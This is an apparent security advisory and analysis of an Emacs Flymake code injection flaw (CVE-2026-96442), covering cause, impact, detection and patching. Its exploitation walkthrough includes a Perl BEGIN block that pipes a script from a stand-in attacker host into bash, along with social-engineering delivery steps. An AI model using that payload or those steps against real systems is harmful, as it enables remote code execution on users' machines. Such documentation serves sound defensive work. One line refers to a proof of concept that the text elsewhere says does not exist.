CVE-2026-96442: 
Emacs vulnerability analysis and mitigation

CVE-2026-96442 is a code injection vulnerability in GNU Emacs affecting all versions prior to 31.2. It arises from an incomplete fix for CVE-2024-53920: the Flymake mode's trusted-content-p check was only applied to the Emacs Lisp backend, leaving all other language backends (e.g., Perl, Python) unprotected. Viewing or editing a specially crafted untrusted file in Emacs can trigger arbitrary code execution with the privileges of the user running Emacs. Discovered by Bas Alberts of the GitHub Security Lab and disclosed publicly on September 14, 2026, the CVE was published on September 23, 2026. It carries a CVSS v3.1 base score of 7.8 (High) (Red Hat Advisory, oss-security, GitHub Advisory).

The root cause is CWE-94 (Improper Control of Generation of Code / Code Injection). The original fix for CVE-2024-53920 placed the trusted-content-p check only inside the elisp-flymake-byte-compile backend in elisp-mode.el, using an opt-in model. Non-Lisp Flymake backends (e.g., those invoked for Perl, C, or other languages) never performed this check, so they would execute code embedded in file-local variables or BEGIN blocks during syntax checking. The fix moves the trusted-content-p check into flymake--run-backend in flymake.el, applying it globally to all backends by default (opt-out model), with backends able to declare themselves safe via the flymake-always-safe property. Exploitation requires the victim to open or edit a maliciously crafted file in Emacs with Flymake mode active for a non-Lisp backend (Red Hat Bugzilla, Emacs Commit master, oss-security).

Successful exploitation allows an attacker to execute arbitrary system commands with the full privileges of the user running Emacs, resulting in high confidentiality, integrity, and availability impact. An attacker can read sensitive files, modify or delete data, install malware, or use the compromised session as a pivot point for lateral movement within the user's environment. The attack is local in vector but can be delivered remotely by tricking a user into opening a malicious file (e.g., via email attachment, code repository, or shared document) (Red Hat Advisory, GitHub Advisory).

No public proof-of-concept exploit code has been observed, and there is no evidence of in-the-wild exploitation at the time of disclosure (GitHub Advisory). The EPSS score is approximately 0.166%, indicating a low current probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is not automatable (per NVD SSVC assessment) and requires user interaction — the victim must open or edit a crafted file in Emacs with a non-Lisp Flymake backend active (Red Hat Advisory).

1. Craft a malicious file: Create a file in a non-Lisp language (e.g., Perl) that embeds executable code in a location triggered during Flymake syntax checking. For example:

#!/usr/bin/perl
# -*- mode: perl; mode: flymake -*-
BEGIN { system("curl http://attacker.com/shell.sh | bash"); }

2. Deliver the file to the target: Distribute the crafted file via email attachment, a shared code repository, a download link, or any other social engineering vector that causes the victim to open it in Emacs.
3. Trigger Flymake: When the victim opens the file in Emacs, Flymake mode automatically activates for the detected language (e.g., Perl mode). Because the trusted-content-p check was not applied to non-Lisp backends in vulnerable versions, the backend runs without restriction.
4. Achieve code execution: The embedded code (e.g., the BEGIN block in Perl) executes as a side effect of Flymake's syntax-checking process, running arbitrary system commands with the privileges of the user running Emacs (oss-security, Red Hat Bugzilla).

• File System: Unexpected files created in the user's home directory or temp directories (e.g., uh_oh.txt as shown in the PoC); new scripts or binaries dropped by the Emacs process.
• Process: Unusual child processes spawned by the Emacs process (e.g., bash, sh, curl, wget, python, perl) performing network connections or file operations not initiated by the user.
• Network: Outbound connections from the workstation to unknown external hosts initiated by Emacs or its child processes, particularly shortly after opening a file.
• Logs: Shell history or audit logs showing commands executed under the user's account that were not manually entered; auditd records of execve syscalls with Emacs as the parent process (oss-security, Red Hat Bugzilla).

Upgrade GNU Emacs to version 31.2 or later, which contains the fix that moves the trusted-content-p check into flymake--run-backend to cover all backends (Emacs Commit master, Emacs Commit emacs-31). Red Hat and openSUSE have issued security advisories and updated packages for their distributions. As a workaround until patching is possible, avoid opening or editing untrusted files in Emacs, and consider disabling Flymake mode for non-Lisp language backends if the functionality is not critical (Red Hat Advisory, GitHub Advisory).

Red Hat classified this as an "Important" flaw and noted it is an incomplete fix for CVE-2024-53920, affecting Red Hat products when users view or edit untrusted text files (Red Hat Advisory). The vulnerability was discovered by Bas Alberts of the GitHub Security Lab and responsibly disclosed to the Emacs maintainers and the oss-security mailing list on September 14, 2026 (oss-security). openSUSE and other Linux distributions issued security update advisories shortly after the CVE was published. The Emacs maintainers acknowledged they do not plan to backport the fix to older Emacs releases themselves, placing the burden on downstream distributors.